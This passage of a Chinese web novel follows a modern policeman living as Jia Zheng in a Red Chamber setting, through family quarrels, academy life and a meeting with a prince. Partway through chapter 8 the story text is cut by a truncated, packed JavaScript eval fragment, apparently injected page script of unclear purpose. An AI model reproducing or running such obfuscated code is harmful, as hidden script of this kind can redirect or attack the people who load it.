送走贾赦,贾政走上后罩楼,二层小楼横贯整个二进院,高度比正院后楼矮了两三米,也窄上很多,后门从楼下正中穿过,门后两边都有外楼梯,外形类似过街楼。 楼下是库房,贾政住在楼上,西边三间打通当书房,东边三间是卧室起居室,中间过道给上夜的小厮住。 带回来的行李已经整理好了,所有窗户都打开通风,下人默默做着自己的事,安静的几乎听不到声音。 贾政坐在书房窗下的罗汉榻上,盯着香炉的袅袅轻烟,突然生出一丝罪恶感,理所当然的占据贾政的身体和身份,享受属于他的奢侈生活,这样真的好吗? 视线扫过室内,最后落在书案上,上面摆着原身写的功课,国子监的先生从不检查功课,但每个季度都有考核,学业也是很紧张的。 原身成绩在混日子的荫生里面也属平常,与林如海那些举人更没法比,说是半个文盲都是抬举他了。 原身脸皮厚如城墙,成绩垫底也能端着学霸的架子,贾政可没他那么好的心理素质,不去国子监老爷又不能同意,那就只剩下努力读书这一种选择了,至少在找到门路混入武职之前,成绩也不能太拿不出手。 贾政从身边的书架上抽出一本书,没有标点的竖写繁体字看得他直眼晕。 离开学校十多年,很难静下心重新拿起书本,深吸几口气压下心中烦躁,再看书的内容更不得了,丫的西厢记,原身那个混账居然在书房里偷看小黄文,难怪成绩那么差。 8. 第八章 贾珍 贾政把手里的书丢出去,正要回忆原身还藏了多少这类爹见打的东西,屋外就传来蹬蹬上楼的脚步声,贾珍少年自己掀帘子跑了进来。 他跑得全身是汗,冲到贾政身边叫道,“小叔,二叔是不是弄到只大鹦鹉?听小厮说他出门了,他去哪儿了?” 贾政对活跳虾似的大侄子一点办法也没有,贾家大概是前两代把精明灵气都消耗光了,从第三代开始男丁一个比一个废物,唯一能拿得出手的贾敬还是个为了成仙抛家弃子的神经病。 原身好歹还有振兴荣国府的想法,贾赦也知道孝敬父母,不敢做让老爷太太担心的事,第四代的贾珍是真的谁也不怕,谁的劝诫也不听,只知道一味高乐,从不把自身和宁国府的未来放在心上。 贾敬都管不了的事,贾政这个隔房的叔叔更没有多嘴的资格了,他叹道,“你二叔找蒋五他们去了,坐下把汗散一散吧,仔细伤了风。” 贾珍是浑了些,关心的话还是能听进去的,他拧起眉头,坐到贾政下首的大圈椅上猛扇扇子,抱怨道,“二叔怎么还和蒋五他们来往啊,那几个家伙没一个有本事的,玩儿得再好又有什么用。” 贾政抬手把他的发带理顺,好笑的戳了下小少年的额头,“你还敢嫌弃别人没本事,那你说说看,跟谁玩在一起才有用。” “当然是……”贾珍收住将要出口的话,大眼睛贼溜溜环顾室内,见没有外人,才凑到贾政耳边,压低声音道,“当然是太子身边的人啊,小叔你还不知道吧,太子少傅翟大人的孙子邀请我去他们家,哎,啊啊啊……” 贾政气得眼角直跳,掐着小混蛋的脖子把他压在罗汉塌上,咬牙道,“你所谓的有用就是把我们全家逼上绝路吗?当今还春秋鼎盛呢,你竟敢往太子身边凑,不要命了你。” 贾珍被掐得嗷嗷的,心里却相当不服气,挣扎着叫道,“往太子身边凑怎么了,太子少保少傅,东宫詹事府那么多大臣,包括小叔的舅舅也是詹事府的官员,他们都能跟在太子身边,我凭什么不能?” 贾政冷笑,“他们是奉了上命辅佐太子,你要是仰慕太子,大可以也进詹事府,私下投奔就是有负圣恩,有不臣之心,你想把全族人都害死吗?” 贾珍被唬住了,趴在榻上小脸发白,贾政松开手,扶他起身坐好,问道,“翟家少爷请你去,可说了什么没有?” 贾珍可怜巴巴的摇头,“什么都没说,我们就是在一起吃吃喝喝,听曲儿赌钱来着。” 贾政搭上他的肩膀,笑得慈爱极了,“哦,还赌钱了啊?” 意识到说错话了,贾珍就要抽身逃跑,贾政当警察十几年,还能让个小贼逃了不成,别臂压肩就制得他动弹不得。 贾珍吓得呜呜直哭,“我错了,小叔我再不敢了,不要告诉我老爷啊。” 贾政才不管他哭不哭,这小子再不教训一下就要吃喝嫖赌五毒俱全了,还不知天高地厚的掺和进储位之争里,难怪会说家事消亡首罪宁,贾家败落的最大责任人就是贾珍。 他提起贾珍,对外面道,“去宁国府说一声,珍儿在我这里,请敬大哥下衙后亲自来领儿子。” 候在外面的松烟答应一声,派手下小厮去宁国府传话,又命人取来巾帕阳伞茶点等物,跟在贾政贾珍身后,前往荣国府的后花园。 荣国府的后花园名叫满绿园,种植着所有能在京都存活的竹子品种,与宁国府遍地奇花异草的会芳园遥相呼应,活水也是同一路引过来的。 水流从东北角梨香院外的水闸进入,用暗渠引一路到前面的外花园,其余全部流入湖中,再蜿蜒过整个后花园,从西北角出府。 湖面占了满绿园五分之一面积,园中亭台楼阁皆是依水势竹林而建,飞檐翘角,凤尾森森,荷叶争翠,碧波盈盈,贾政没亲眼见过原著中的大观园是何等风貌,想来也就这样了吧。 两代荣国公都是爱水喜竹之人,贾代善在家时最喜欢去翠涛轩闲坐听琴,贾政最开始还疑惑为何原著里荣国府没有后花园,养伤这些天仔细观察家人的性格行止,才猜到应该与此次落水事件有关。 如果没有他的穿越,原身肯定活下来了,然后依照计划把落水原因推到贾赦身上,再有贾母帮腔,必定会大闹一场。 贾赦又不是傻子,当然不可能承认,结果就是贾代善暴怒,把内外的池塘湖面都给填上了,夫妻关系也由此开始疏离,导致他过世前宁愿搬到梨香院独居,也不想面对妻子。 贾政深吸口气,既然换成了自己,他就不能让夫妻离心这种事发生在父母身上,家里有他和王氏一对怨偶就足够了。 抓着贾珍走到西边的滴星亭,亭下是贾代善日常练武的校场,贾政把衣袍下摆掖进腰带,活动着手腕对贾珍笑道, “我记得珍儿也练过家传武学吧,和小叔比划下拳法怎么样,你要是赢了,我就不向你爹告状了。” 贾珍被他扯得踉跄了一路,听了这话非但没高兴,眼泪反倒掉得更凶了。 “小叔你力气那么大,我怎么可能打得过你。” 贾政还能看不出他的深浅么,这么说就是想收拾他,家里再没个让他害怕的人,这小子就要上天了。 不容小混蛋拒绝,贾政活动完手腕就挥拳打向他,贾珍怪叫一声转身就跑,可哪里跑得掉,家传的八方拳法以速度见长,讲究拳打八方,密不透风,拳影所及之处犹如大网,贾珍就是落网的小鱼,即便贾政没用多少力道,也打得他晕头转向。 贾政已经研究熟了拳谱,加上十几年的习武经验,头次使出八方拳也上手极快,拳拳相扣,招招不绝,隐有连绵之势。 一趟拳打下来,贾珍鼻青脸肿倒地不起,眼泪鼻涕糊了一脸,哀哀欲绝好不可怜见儿的。 贾政收拳吐气,蹲身查看他的情况,贾珍吓得哀嚎,四肢并用往前爬,想离大魔王远一点。 被小厮带过来的贾敬刚好看到这一幕,儿子衣冠不整的趴在地上,脸上乱七八糟,像肉虫子似的拱啊拱,被叔叔欺负得不要不要的。 “这是为何?”贾敬快步上前,挡在儿子身前怒视贾政,老大个人了,欺负小孩子有意思么。 “敬大哥这么早就下衙了啊,我打算重练祖父传下来的武艺,就带着珍儿熟悉了一遍八方拳,往后把珍儿送过来跟我一起练武吧。” 贾政笑盈盈的打量贾敬,贾家人都长得不错,贾敬这种神经病也是眉目清朗,仪容斯文。 贾珍惨叫出声,抓着亲爹的袍角猛摇头,再练几次他会死的。 贾敬又不是被骗大的,才不相信贾政的鬼话,侧身示意跟来的下人送贾珍回家,他走进滴星亭,亲自倒了两杯茶,对贾政招呼道,“不是有话跟我说吗,过来坐吧。” 贾政接过松烟递上的布巾,擦干净手脸,又整理好衣袍,这才走进亭中,对贾敬拱手一礼后坐在石凳上。 他也不兜圈子,喝完盏里的茶就直接问道,“敬大哥可知翟少傅暗中拉拢珍儿的事么?” 贾敬喝茶的手顿了下,垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些话只能在心里想想,说出来也改变不了什么,贾政又继续刚才的话题,对贾敬道,“宁国府想要从龙之功我管不着,但我荣国府只想过安稳日子,不如我们分宗吧。” 在坐的三人都抽了口气,贾代善一拍桌子,“放肆,宗族之事岂可儿戏。” 贾政放下茶盏,眼神犀利,分毫不让的回视贾代善,“荣国府上下几百口子,难道我们的性命就是儿戏吗?还是老爷跟敬大哥有同样的想法?” 贾代善惊讶的看着他,不明白一向软弱的儿子怎么突然气场两米八了,这还是他儿子吗? 黄幕僚咳了声,笑着打圆场,“当今春秋鼎盛,现在为这个吵架还太早了,不如想想圣寿节送什么吧,只剩下十二三天,再拖下去真要来不及了。” 贾代善和贾敬同时垮下脸,别的都好办,这个是真头疼,年年圣寿都得想法子换个新花样,上哪儿找那么多新奇玩意儿去。 原身从没关注过这方面的事,贾政也不知道送什么才恰当,只能提醒老爷,“大哥也想着这件事呢,已经出去打听了,等他回来再商量吧。” 贾代善双眼一亮,老大自小长在京城,功勋权贵,三教九流就没他接触不到的,肯定能想到好点子。 贾敬也缓和下神色,从前他觉得两个堂弟一个纨绔,一个糊涂,还不如珍儿敢闯敢做,有祖父遗风。 如今再看,竟是他看错人了,贾赦擅交际,贾政擅思索,虽然想法稚嫩了些,也不是完全没有可取之处。 9. 第九章 上学 贾政和贾敬争执一场,关系反倒更亲近了几分,傍晚贾赦回来,父子叔侄又坐到一起,商议圣寿礼的事。 贾赦头一次被父亲堂兄如此重视,紧张得额角冒汗,在外面打听到的情况却说得很清楚。 “今年太子弄了只羽毛火红的大鹦鹉,打算当成祥瑞献上去,各家不敢抢太子风头,就想着送些精巧玩器古籍字画之类的,应付过去就完了。” 贾代善和贾敬都露出为难之色,古玩字画谁家也不缺,要做到既能让皇上满意,又不能太过出格就很难了。 “不如,我们弄个蒸气风扇吧。”贾政下午整理书房,找到十几本永乐大典,工技一册刚好就有简易蒸气机的图纸。 虞朝是在明朝之后建立的,开国太祖带领一群好兄弟从江南起家,先是干掉了已经腐朽的李自成军队,又把金军阻挡在关外,占稳天下建立大虞。 开国之初他北抗蒙古,西降回部,东击金国,把外族打得抬不起头来,杜绝了汉民族的一场浩劫,同时也保住了全体男子的秀发,剃成秃瓢难看死了。 明朝所著的永乐大典虽在战火中有所遗失,一万一千多册也保留下近八千册,先帝命翰林院整理刊印,开国功勋各赏赐了一套,因此家家都盖了藏书楼,地方小是真放不下啊。 保留下来的就有工技全册,家里使用的座钟怀表这些都是出自国内工匠之手,冶炼军械,战船枪炮这些国之重器也处于世界领先水平,国防强大了才能有足够的自信与外国通商。 在贾政看来,虞朝对工艺技术的应用还是有所局限,乡野间依旧刀耕火种,用人力织布,只重国防而轻民生,对生产力发展并没有多少贡献。 凭他修车的本事,照图纸手搓个简易版蒸气机不是难事,再接上联动齿轮和叶片就是风扇了。 这种东西不涉及朝堂政事,大佬们也不会放在心上,不如由自家起个头,推动一把民间科技的发展。 “胡闹。”贾代善笑骂,“奇淫巧技岂是大家所为,趁早把拿去的永乐典籍放回藏书楼,御赐之物你也敢动。” 贾政在心里翻白眼,这就是民用科技难以进步的症结所在了,有用的书都收藏在贵族家里,偏偏他们眼中只有权势,连看一眼都懒,能流传出去才有鬼呢。 最终大家决定把这件事交给贾赦,让贾珍给他打下手,不拘古董字画,比量亲近的人家准备两份便罢了。 至于贾政,贾代善两眼一瞪,“明儿就给我滚去国子监念书。” 读书贾政是不怕的,他是文学天赋不行,可不代表记性差,十年前研究过的指纹都能记得清清楚楚,再有原身的记忆加持,四书已经背得七七八八了。 正楷毛笔字他也学过,科举用的台阁体由正楷演变而来,本就很难分辨出笔迹差别,些许不同也能用受过腰伤,手臂使不上力掩盖过去。 他愁的是文章要怎么写,原身是写不好,他是根本写不出来,平时功课不写也没人管,九月的季度考核可怎么办哦。 贾政愁了一宿,次日天不亮就被松烟叫醒了,国子监是辰时开始晨读,他要先给老爷太太请安,吃过早饭再坐车前往国子监,每天卯时二刻就得起来了。 穿上监生常服,走下后罩楼时王氏已经等着他了,她身侧是奶娘抱着还未睡醒的贾珠,身后站着通房周氏和一众丫头婆子。 贾政受了她们的礼,轻声对奶娘道,“抱珠儿回去,以后辰时之前不准打扰他休息,老爷太太那里由我去说。” 不管王氏这么早折腾孩子的目的是什么,总之他是不会坐视不理的。 两个奶娘都是贾政提上来的,自然以他的命令为最优先,无视二奶奶捏紧的帕子,略福了下身就抱贾珠回去了。 目送珠儿进了院子,贾政才对王氏道,“走吧。” 说完他头也不回的向院外走去,王氏的性格执拗刚硬,跟她讲道理是没用的,不如也强硬到底,看谁能磨过谁。 走到荣禧堂后门,贾赦伸着懒腰从影壁后头走出来,贾政立住身形,拱手笑道,“大哥大嫂安,大哥昨儿没睡好吗?” 贾赦唉了声,“可不是没睡好么,想了一宿也想不出送啥才好。今天还是得带着珍儿去市面上看看,说不定就碰到好的了。” 贾政并不看好这个主意,“现在满街都是大哥这样,巴望碰到好货的人,我看不如把家里的库房理一理,说不定能有新发现。” 贾赦一拍大腿,“对啊,我怎么忘了还有这个办法,东西两府有大小库房二三十个,总能掏出点好东西的。” 兄弟俩当先走进上房,贾敏已经在这里了,等哥哥嫂子向老爷太太请过安,她又向四人问好,小姑娘言笑晏晏,比上辈子的小侄女还可爱,要不是年纪大了不好亲近,贾政都想把她抱回去跟珠儿一起养了。 贾母不知道爱子正琢磨跟她抢女儿,见贾赦一副没精神的样子,余光扫到老爷皱起的眉头,她随口问了句,“老大这是没睡好么。” 贾赦没看出太太是在老爷跟前埋怨他,还以为母亲在关心自己,憨笑道,“昨儿想了一夜圣寿礼的事,中午补一觉就没事了。” 贾代善差点忘记把这件事交给长子了,他柔和了脸色,笑道,“不用着急,我再到衙门里打听一下,看其他人是怎么打算的。” 贾赦又说了贾政提议清理一遍库房,贾敏笑道,“这个我可以帮忙,先前从南边回来时库房就是我和大嫂清点的,好东西也能找出几件来,就是不知是否合用。” 贾赦点头,“府里的老库也有不少东西,几十年没清点过了,这次一总重新录遍册子。” 贾代善含笑听着子女商量家事,贾母张罗着摆早膳,男一桌女一桌,吃饱了各自干正经儿事去。 用过早膳,贾代善和贾政向家人道别,走出内仪门,已经有两辆翠幄青油车等着他们了。 公爵用车的型制是银顶,青帏,绿垂檐,本人及家属都可享用同样的规格,车箱用上等花梨木打造,为了不掩盖木材的天然花纹,只涂了透明的青油。 车的底盘偏低,车箱内部坐椅宽大,左手边还有个小茶炉,在院子里由几个小厮拉着走,走到马棚再套上驯骡,从东角门走出府邸,向东而去。 贾政自穿越后第一次出府,想起网上对黛玉入府时走西角门的争议,不由笑了起来。 宁荣两府的大门都是三间兽头门,门下有十级踏步,车轿根本无法通行,既便轿子能抬 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走不多时,街上果然清静起来,骑驯骡跟在车旁的松烟叫了声爷,提醒贾政放下车帘,早起风还有些凉,车跑起来吹病了不是玩儿的。 贾政正好也没了观赏街景的兴致,国子监附近是文气荟萃之地,街两旁不是茶楼就是书肆,以及古玩铺和客栈之类,此时都没开业呢,看也是白看。 在前面驾车的赖大突然出声,“爷,我昨儿听说大姑娘参加诗会时,扇子被镇国公府的牛大姑娘比下去了,午休不如去西街走走呢。” “还有这事?” 镇国公府的牛老爷世袭一等伯,接任大伯贾代化成为京营节度使,爵位虽比老爷低一等,却手握戍卫京都的五城兵马,实权反倒压了自家一头。 牛家大姑娘擅长诗词,自认才情冠绝京都,谁知去年来了个贾敏,在数次诗会上都稳压她一头,牛大姑娘受不了这个刺激,就开始在其他方面找补,看来这回是轮到扇子了。 “行吧,午休时你来接我,我们去酒楼用午膳。”国子监的饭食清汤寡水的,他可不像原身会为了面子委屈自己,有银子当然要吃点顺嘴的。 赖大应了声,把车停在国子监的集贤门侧面,打开车帘扶主子下车。 贾政下了车,接过松烟递过来的书包,仰头对着集贤门叹气。 别人是穿越后资质逆天,大杀四方,长生不老,他是老婆难缠,学业稀烂,五十岁还要抄家,怎么不直接撞死算了。 “二哥为何不进去?” 清越的少年声音从身后传来,贾政耳朵一酥,突然又觉得活着也挺好的。 他转身打量说话之人,因他伤在腰上,不便接待客人,去家里探望的亲朋都是由贾母和贾赦接待的,这是他第一次亲眼见到未来的妹夫林如海。 少年长身玉立,面容清俊,气度隽永,端的是丰神如玉,同样的青色监生服,他硬是穿出了飘逸似仙的味道。 林如海正暗自惊讶,这位二舅兄从前虽然俊美,气质却呆板生硬,总是一副不好接近的样子。 养伤不过半个月,竟似换了个人,表情虽冷淡依旧,目光却刚毅内敛,给人以坚若磐石之感,这是经历过一场死劫,终于开窍了? 10. 第十章 同窗 贾政要是知道林如海在想什么,肯定会伸出大拇指,夸他目光如炬,可不是换人了么,至于能不能开窍,那就要看天意了。 他笑道,“坐久了腰有点酸,我们进去吧,快上课了。” 林如海应了声,两人进入集贤门向前面的太学门走去,见贾政行动如常,他反倒担心起来,“二哥受了那么重的伤,这么早回来上课没问题吗?” 贾政惊讶道,“你听谁说的,我伤得不重啊,皮肉伤而已,几天前就好得差不多了。” 这回换成林如海惊讶了,“我去探望时大哥说伤势不重,岳母却说你差点没了,外面也是什么样的传闻都有,我当然信岳母的。” 贾政呵呵笑道,“关于身体健康这方面,最不能相信的就是你岳母,或者你把她说的严重程度减个七八成也行。” 林海也笑了,拱手表示受教,两人说说笑笑的经过太学门和琉璃牌坊,相互道别后各自走向东西堂。 国子监的学生大体分为两类,有举人功名,准备科举的学生在东六堂上课,像贾政这样凭祖荫入学,镀金混日子的都集中在西六堂,中间隔着为帝王讲学建造的辟雍殿,谁也干扰不到谁。 贾政走进所在班级,乱哄哄的教室就是一静,同学都定定看着他,传说中死掉半截子的人突然出现在面前,还挺惊悚的哈。 和他同一班的监生有三十来人,此时已经来得差不多了,他们眼神乱飘,最终把视线落到最好欺负的冯唐身上,用目光威逼他去问贾政是怎么个事。 贾政就像没看到室内有人似的,自顾自走到自己的位置,拿出布巾把椅子和书桌擦干净,再坐下摆放文具,一举一动与平常别无二致,冷着脸不言不语的样子更加可怕了。 冯唐是红楼四侠之一冯紫英的父亲,未来的神武将军还是个瘦弱少年,今年十四,比贾珍还小一岁,冯家老太爷是贾源旧部,两家相交已有两代人了,贾政受伤时还曾打发人来送过伤药。 冯唐扭头看向贾政,狠狠打了个哆嗦。 今儿正赶上阴天,教室里光线昏暗浑浊,只有贾政的脸最白最亮,分不清是人是鬼。 最终他还是没顶住众人的胁迫,一步一蹭的走到贾政书桌边,小小声道,“恭,恭喜世兄大病初愈,听,听说你伤得很重,没想到好得这么快,哈哈。” 原身去冯家赴宴时见过冯唐,两人无甚交情,连话都没说过,贾政对他主动和自己搭话还挺惊讶的。 见他小脸胀得通红,尴尬的都快找条地缝钻进去了,他好笑道,“你听错了,我伤得不重,如今已然大好,还要感谢令尊送来的伤药。” 原身从未和颜悦色的跟同学说过话,冯唐受宠若惊,双手和脑袋一起摇晃,“不,不用谢,应该的应该的,世兄无事就好了。” 贾政拱手感谢冯唐的问候,小少年傻笑着还礼,回到坐位上还晕乎乎的。 其他同学发现贾政也没那么难接近,全班最大胆的柳节站起身,大声问道,“贾兄,外头都传你快要死了,你到底受了什么伤?是谁伤的你?” 柳节是理国公府的庶孙,长得高大魁梧,声如洪钟,放开音量能穿透左右两间屋子。 将要踏进教室的教授默默收回脚,夹着书本躲在门后听闲话,荣国府二公子在家中遇袭,差点丢掉小命,这是半个月以来京都最热门的话题之一,他也很好奇啊。 贾政环顾四周,发现所有同学都竖着耳朵等待他的回答,哭笑不得道,“我就是被人捅进荷花池子里了,后腰青肿,疼了几天,也查不出是谁下的手,如今已然痊愈,感谢诸位的关心。” 众人没想到贾政会如此坦诚,反倒显得他们有些失礼了。 不等大家客气几句,一个黑脸青年冷笑道,“你们荣国府漏得跟筛子似的,什么人都能进,被人下黑手也是你活该。” 众人倒抽口气,看向定城侯府的谢鲲,说人不揭短懂不懂,贾政父亲可是简在帝心的荣国公,这人是不想活了吗? 贾政非但没生气,还很赞同谢鲲的话,但明面上却不能表现出来,更不能指责去自家拜会之人的不是。 他苦笑着摇头,“我们家人口繁多,住在附近的远近亲族就有几十家,总不能关上大门禁止亲朋来往吧。” 同样家口众多的同学都露出心有戚戚然的神色,谁也不想自家变成大杂院,可正如贾政所说,总不能把亲戚挡在门外吧,那自家成什么人了。 “咳!”教授的好奇心得到满足,轻咳一声走进教室,钟楼的钟声也随之敲响,辰时已到,正式开始今天的课程。 国子监的上课时间是从早上辰时到下午酉时,辰时敲钟上课,酉时敲鼓放学,晨钟暮鼓听着挺像那么回事,贾政这类荫生的课业却很轻松。 每天也就一两堂正课,教授上课都喜欢引经据典,一本论语能讲好几个月,其余时间是写功课还是逃学都随便他们。 原身是绝不会逃学的,也不喜欢待在教室里写功课,去彝伦堂看书发呆就成了首选,甚至有自己的专属坐位。 今天只有早上一节课,半个时辰就结束了,贾政听了满脑子子曰,再次肯定读书不是自己的出路,下课就逃到彝伦堂,趴在桌子上叹气。 彝伦堂是国子监的藏书之地,相当于学校的图书馆,原身找的位置在二楼,两个立柱后面的窗下摆着张单桌,窗外还有一株大桃树。 环境位置都极佳的地方,只因为打上了荣国府二少爷的标签,他在家养伤不来上学也没人敢坐,司业听说他回来上课了,还专程派人把桌椅擦了一遍。 贾政并不意外自己得到的优待,四王八公能在第二代保住原有爵位的,只有四个郡王府和荣国府,其余人家都是靠老封君在支撑,或是像宁国府那样,前两代都没了也要梗着脖子自称国公府,只要皇帝不下旨收回封号府邸,打死不肯承认自家已经败落了。 王府出身的子弟都在宫中弘文馆陪皇子读书,在国子监读书的人中身份最高的就是贾政了,没 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“咦!”柳节盯着自己的手,不可思议的看向贾政,“你小子行啊,居然能隔开我的巴掌。” 贾政白了他一眼,“我家也是武勋出身,谁还没练过几下子,你们知道哪里卖好扇子么?我们瞧瞧去。” 谢鲲笑道,“以前你总是冷着脸不说话,我们摸不清你的路数,也不敢贸然搭话,要是早知道你这么好相处,早就拉着你出去玩儿了。” 贾政心说幸亏原身家里家外都像根木头,否则早晚得穿帮,完全取代一个人可不是件容易的事,他当警察十几年,遇到过不少眼光犀利,直觉精准的同行,伪装得再像在他们面前也难以遁形。 “现在知道也不迟,快说,哪里有好扇子?” 谢鲲哈哈一笑,“你是想为另妹找回面子吧?牛大姑娘已经比过扇子了,下次肯定得换新花样,跟在后头岂不是永远比不过吗?” 贾政顿住脚步,怒道,“小姑娘之间的事,你们是怎么知道的?” 谢鲲都无奈了,换成他拉着贾政走,“你也关注一下外面的事吧,各家姑奶奶办诗社,京都谁不知道啊,每社前十首的诗都会流传出来,我这个粗人也能看出贾大姑娘才情绝伦,啧,要不是你们两家有过命的交情,这样的才女也不能便宜林如海那小子。” 贾政松了口气,既然全京都都知道了,也没人出来阻止,那就是得到认可的意思,不用担心小妹会因此名誉受损。 他笑道,“如海挺好的啊,人品才情都是上上之选,林侯和林夫人也是诗书大家出身,做不出为难儿媳妇的事,比嫁到高门或是人口多的大家族省心多了。” 柳节撇了下嘴角,“你怎么跟娘们想的一样,高门大户才有实力和倚仗,只林海一个人又能有多大作为。” 贾政气笑了,“怎么就一个人了,我跟我大哥难道是死人吗,赶紧的少废话,帮我想个办法,我妹妹不能总是吃亏。” 11. 第十一章 和光 彝伦堂侧门后面站着两个人,目送贾政三人向西门而去,稍矮胖些的青年笑道,“看不出来,贾政还挺中意如海你这个妹夫的,他自入学就总冷着脸一言不发,我还当他看谁都不顺眼呢。” 说完,他看向身边的林如海,发现他两眼放空,愣愣的不知在想什么,不满的推了下,“跟你说话呢,发什么呆。” 林如海被推回神,用折扇敲了下左手掌,“二哥说的对,我们不能一直吃亏,我这就安排人打听牛家千金又得了什么新玩意儿,下次诗会要一举把她压服。” 矮胖青年目瞪口呆,看着林如海匆匆离去的背影好半晌才回过神来,叫道,“哎,不是,等等我,我正事还没说呢。” 贾政三人从国子监西门出来,对面就是京都古玩字画,各色玩器最集中的西街,酒楼也多以鲁菜苏菜浙菜为主,把风雅范摆得足足的。 原身自来了京都就开始装乖宝宝,整日待在国子监里,从不曾来过西街,之前还有个寻找目标,听谢鲲说小姑娘下次会换新东西比试,他是彻底傻眼了。 柳节和谢鲲两个大老粗也想不出太好的点子,只得提议道,“姑娘家都喜欢漂亮裙子,不如我们去布庄绣坊看看吧。” 贾政点头,“好主意,西街上有布庄吗?” 柳节笑道,“怎么没有,京都最出名的江南绸缎庄就有两家在西街上,还有几间绣坊也很受那些文人推崇,相信令妹也会喜欢的。” 三人来到西街,只走了一会儿贾政就发现来逛街的不止男子,也有很多女眷带着长帷帽结伴而行,窈窕身影罩在浅色薄纱之中,微风拂过摇曳生姿,好似云中仙子。 谢鲲撞了下贾政肩膀,压低声音坏笑道,“政兄可别看呆了,仔细佳人命人痛打登徒子。” 贾政瞪了他一眼,“去你的,我是在想做个漂亮帷帽或许可行,姑娘家出门都少不了这个。” “帷帽就是斗笠加帽裙,顶多斗笠精致些,帽裙的料子好一些,很难弄出新样式吧。”柳节想不出帷帽还能玩出什么新花样来。 贾政也是随口一说,他上辈子唯二熟悉的女性就是自家老妈和小侄女,对年轻姑娘喜欢什么真叫两眼一摸黑。 说话间,他们走进最大的清昶布庄,里面客人不算多,五彩缤纷的布匹挂满了三面墙,二楼还有雅间出售士族贵族才能使用的名贵布料,布样被放在大台箱里,由伙计推到客人面前挑选。 贾政他们直接上了二楼,伙计利落的倒茶上点心,再根据贾政要求把适合做帽裙的布样全部推了过来。 布样卷在半尺长的轴筒上,有二三十筒之多,贾政能认出的只有皂纱和浮光锦。 布庄掌柜笑道,“本店适合做帷帽的上好料子都在这里了,皂纱是出远门时用的,最好的就是浮光锦,但也有姑娘喜欢低调素雅,会选择颜色浅,透光透风不透影的各种纱料。” 贾政想起小妹总是嫌弃东西俗气的小模样,不由笑了起来,贾敏的性格习惯都有书中林黛玉的几分影子,母女俩都是高洁淡雅的品格,肯定不会喜欢浮光锦的。 他逐一看过其他面料,好奇道,“为何都是素色的?没有带花纹图样的吗?” 掌柜笑着解释,“回爷的话,这么薄的料子不好着色,也容易遮挡视线,后绣的花样子又略显沉重,失了飘逸美感,因此才会全是素色的。” 贾政突然想到陪侄女玩儿的古法印花,既能随心意印染出花草形状,还不会增加重量,或许可以一试。 他点头,“原来如此,那就雨过天晴、月白和纯白各拿一匹好了,送去荣国府交给国公夫人。” 掌柜答应着,亲自开了购物清单,贾政从荷包里拿出小印,在清单上落下印章,把货物和清单一同送到府上,自然有管事代为结账,贵族少爷买东西就是这么方便,提前在古代实现了无现金交易。 柳节和谢鲲也在看新到的棉麻布料,见贾政买好了就叫他也挑几匹,谢鲲笑道, “别看棉麻布价格不贵就认为它粗鄙,其实这是做夏季猎装最好的布料,透气凉快还防割,比轻轻一划就开个大口子的绸缎强多了。” 贾政一个工薪阶层哪敢嫌弃棉麻,这东西在上辈子也很贵的好不好,他指了几匹花色比较素淡的,问道,“要去打猎吗?那我得买张新弓,在南边用的那张太轻了。” 柳节咯咯笑着摇头,“过半个月再说吧,我还是不放心你的腰,可别一拉弓就断了。” “滚你的。”贾政气死了,撸袖子就要让他见识一下本大爷的腰力够不够看。 谢鲲笑着挡住他,“我就说你从前怎么不理人,原来是个沾火就炸的炮仗。” 三人打闹说笑,却不知他们的一举一动都被人看在眼里,三楼的雅间里坐着三人,为首青年身着金线蝠纹香云纱,目若寒星,冷峻萧肃,威严气度浑然天成,坐在对面的两个中年人都垂着眼,不敢与之对视。 “下面的是荣国府贾政?不是说差点残了吗?怎么好的这么快?”青年声音清冷,好似三九天的风雪,听得人从耳朵一直凉到心里。 面白无须的中年人轻声回道,“坊间谣言罢了,贾二少的伤是京营府的宁大夫亲自给治的,皮肉伤而已,并未伤及到骨头根本,是国公夫人逢人就说自家老二大难不死是个有造化的,才让外头的人想差了。” 贾政要是知道老娘是怎么夸自己的,肯定会尴尬死,贾母夸人总有种不顾人死活的疯感,喜欢谁谁就有造化,还在外面到处说,也不想想造化二字岂是寻常人能担得起的。 青年不再出声,盯着贾政也不知在想什么。 另一个高大中年人冷汗都冒出来了,呐呐道,“爷,荣国公贾代善可不是善茬,他只有两个儿子,长子不堪大用,全部指望都在次子身上呢。” 青年扫了他一眼,突然笑了起来,霎时间犹如春花绽放,再不复刚才的冷冽,桃花眼浅笑弯弯,眼睑微微下垂,满满的无辜感,眼尾轻挑,妖娆魅惑呼之欲出。 就在对面两人差点看呆之际,他又眼波一横,霸气戾气吓得他们直打哆嗦。 贾政不知道楼上坐着个比贾敬还神经病的家伙 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贾政两辈子见过无数美人,以为自己早就麻木了,却还是被面前之人惊艳到了,很难用语言形容他有多好看,只能套用一句网上的话——好伟大一张脸啊。 不想被这人当成花痴,他别开视线就要拱手道谢,却发现柳节和谢鲲全都躬下了身,还能看到他们鼻尖冒出来的冷汗。 意识到这人来历不简单,最差也是王府那一级别的,贾政也赶忙躬身揖礼,“贾政,谢兄台救命之恩。” 谢鲲差点哭出来,侧头对贾政猛使眼色,知道这人是谁吗?就敢叫人家兄台。 “政兄不必多礼,叫我和光就行,只是凑巧而已,不值什么。”自称和光的青年扶起贾政,笑得亲切极了。 贾政抽了下嘴角,和光好像是五皇子的字吧,上个月行冠礼时皇上刚给他取的,他不是还没出宫开府么,天潢贵胄怎么会出现在小茶楼里? 他连退几步,再次揖礼,“请恕臣不敬之罪。” 五皇子放下手,笑容也暗淡了几分,看他的目光遗憾又失落,“不必多礼,我这就走了。” 说完,五皇子便走出茶楼,有数个人迎过来,簇拥他向对面巷子里的马车走去。 柳节和谢鲲重重吐了口气,站直身抹了把冷汗,柳节蚊子似的小声哼哼,“这人怎么出宫了?今儿是什么倒霉日子哦,政兄又差点受伤,还撞见了招惹不起的人。” 贾政好笑道,“原来你也会小声说话么。” 柳节白了他一眼,“离他远点知不知道,东边那位最忌惮的就是他了。” 贾政点头,“放心,我又不傻,几个脑袋啊,就敢掺和到那里面去。” 谢鲲搭住贾政肩膀,咧嘴笑道,“就知道你是聪明人,我们回国子监吧,今天受的刺激够多了。” 